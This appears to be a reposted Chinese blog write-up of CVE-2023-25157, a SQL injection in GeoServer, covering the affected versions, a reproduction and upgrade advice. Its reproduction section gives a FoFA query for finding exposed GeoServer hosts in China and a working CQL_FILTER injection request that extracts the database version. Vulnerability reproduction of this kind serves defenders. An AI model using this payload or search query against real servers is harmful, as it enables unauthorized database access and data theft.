0x01 漏洞概述
GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。
GeoServer在预览图层的时候,可以对图层进行数据过滤从而渲染出指定位置的图层。由于未对用户输入进行过滤,在使用需要以数据库作为数据存储的功能时,攻击者可以构造畸形的过滤语法,绕过GeoServer的词法解析从而造成SQL注入,获取服务器中的敏感信息,甚至可能获取数据库服务器权限。
0x02 影响版本
GeoServer < 2.21.4
2.22.0 <= GeoServer < 2.22.2
0x03 漏洞复现
FoFA语法:app="GeoServer" && country="CN"
通过BP修改数据包,这里构造带有SQL语句的Payload查询数据库版本信息。
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=[查询到的图层名称]&CQL_FILTER=strStartsWith([该图层中的属性名称],'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+%3d+true HTTP/1.1
复现成功。
自动化漏洞验证工具,基于Python实现(原创代码,转载请备注)。
0x04 修复建议
官方已发布新版本修复了该漏洞,可下载最新版本进行升级。
文始发于微信公众号(小白嘿课):CVE-2023-25157 GeoServer SQL注入漏洞复现(附Poc)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论